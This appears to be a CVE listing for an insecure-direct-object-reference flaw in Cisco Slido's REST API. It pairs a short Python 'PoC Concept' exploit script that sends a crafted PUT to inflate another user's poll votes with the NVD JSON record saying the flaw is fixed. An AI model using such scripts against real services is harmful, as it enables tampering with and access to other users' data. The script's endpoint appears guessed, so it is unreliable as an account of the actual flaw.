CVE-2026-20219

import requests # Cisco Slido IDOR PoC Concept # Target: Vulnerable REST API endpoint for user profiles or polls target_api = "https://api.slido.com/v2/moderate/poll/{}" # Attacker's authenticated headers (Obtained after login) headers = { "Authorization": "Bearer <attacker_valid_token>", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Victim's Poll ID or User ID (Insecure Direct Object Reference) target_object_id = "victim_poll_id_12345" # Malicious payload to affect poll results payload = { "option_id": "malicious_option_id", "vote_count": 9999 } # Craft the request exploit_url = target_api.format(target_object_id) try: response = requests.put(exploit_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit Successful! Poll/Profile data modified or accessed.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-20219", "sourceIdentifier": "[email protected]", "published": "2026-05-06T17:16:21.760", "lastModified": "2026-05-06T18:59:53.230", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the REST API of Cisco Slido could have allowed an authenticated, remote attacker to access the social profile data of other users or affect quiz and poll results. Cisco has addressed this vulnerability in Cisco Slido and no customer action is needed.\r\n\r This vulnerability existed because of the presence of an insecure direct object reference. Prior to this vulnerability being addressed, an attacker could have exploited this vulnerability by sending a crafted request to the vulnerable API endpoint. A successful exploit could have allowed the attacker to view the social profiles of other users or affect quiz and poll results."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-slido-idor-CpsFmKxN", "source": "[email protected]"}]}}